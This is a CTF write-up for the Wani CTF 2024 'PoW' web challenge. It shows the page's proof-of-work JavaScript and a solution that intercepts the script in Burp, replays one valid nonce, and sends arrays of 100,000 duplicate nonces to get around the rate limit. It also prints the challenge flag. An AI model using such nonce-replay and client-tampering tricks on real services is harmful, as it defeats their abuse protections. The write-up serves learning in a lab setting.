pow.md

name	event	category	description	layout
PoW (2024)	Wani CTF 2024	Web	Writeup for PoW (Web) - Wani CTF (2024) 💜	title description tableOfContents outline pagination visible true visible true visible true visible true visible true

PoW

Description

compute hash to get your flag

Recon

Basic web page with an incrementing proof-of-work counter.

Our session is tracked via a cookie: pow_session. The local storage contains pow_progress, which continuously updates the client status value from the picture above.

Source

{% code overflow="wrap" %}

function hash(input) {
    let result = input;
    for (let i = 0; i < 10; i++) {
        result = CryptoJS.SHA256(result);
    }
    return (result.words[0] & 4294967040) === 0;
}
async function send(array) {
    document.getElementById("server-response").innerText = await fetch(
        "/api/pow",
        {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
            },
            body: JSON.stringify(array),
        }
    ).then((r) => r.text());
}
let i = BigInt(localStorage.getItem("pow_progress") || "0");
async function main() {
    await send([]);
    async function loop() {
        document.getElementById(
            "client-status"
        ).innerText = `Checking ${i.toString()}...`;
        localStorage.setItem("pow_progress", i.toString());
        for (let j = 0; j < 1000; j++) {
            i++;
            if (hash(i.toString())) {
                await send([i.toString()]);
            }
        }
        requestAnimationFrame(loop);
    }
    loop();
}
main();

{% endcode %}

• The script reads the PoW progress (int) from local storage (i)
• It loops 1000 times, incrementing i and sending the value to a hash function
• The hash function loops 10 times, iteratively hashing the input (sha256)
• Note, CryptoJS.SHA256 returns 8 [32-bit] words, like shown in the picture
• The final line (AND) is a masking operation - 4294967040 in hex is 0xFFFFFF00
• Basically, if the last 8 bits of the first word equals 0, then we get 1 progress point

Solution

I began by enabling interception of server responses in burp.

Now, if we reload the page, we can modify the JavaScript.

I found a valid value, e.g., 2862152, and modified the script to repeatedly send it, skipping the hashing algorithm altogether.

{% code overflow="wrap" %}

document.getElementById(
    "client-status"
).innerText = `Checking ${i.toString()}...`;
localStorage.setItem("pow_progress", i.toString());
for (let j = 0; j < 1000; j++) {
    i++;
    await send(["2862152".toString()]);
}

{% endcode %}

The progress increments at 1 per second; however, we quickly hit a rate limit.

We need to get a million points anyway, so this wasn't realistic (1,000,000 seconds is nearly 12 days 😆)

I quickly realised that the valid PoW's are sent as an array.

I decided to send two valid values at once, e.g.

{% code overflow="wrap" %}

["2862152", "2862152"]

{% endcode %}

This increments the counter by 2! So we just need to make an array of 1 million 🧠

{% code overflow="wrap" %}

var box = [];
for (let cat = 0; cat < 1000000; cat++) {
    box[cat] = "2862152";
}
console.log(box.toString());

{% endcode %}

Actually, don't do that unless you want to crash your browser 😂

Instead, let's do it 100,000 times, and then we can send 10 requests.

{% code overflow="wrap" %}

var box = [];
for (let cat = 0; cat < 100000; cat++) {
    box[cat] = '"2862152"';
}
console.log(box.toString());

{% endcode %}

It's works! We repeat 10 times and get the flag 😌

Was this the intended solution? I'm not so sure..

Flag: FLAG{N0nCE_reusE_i$_FUn}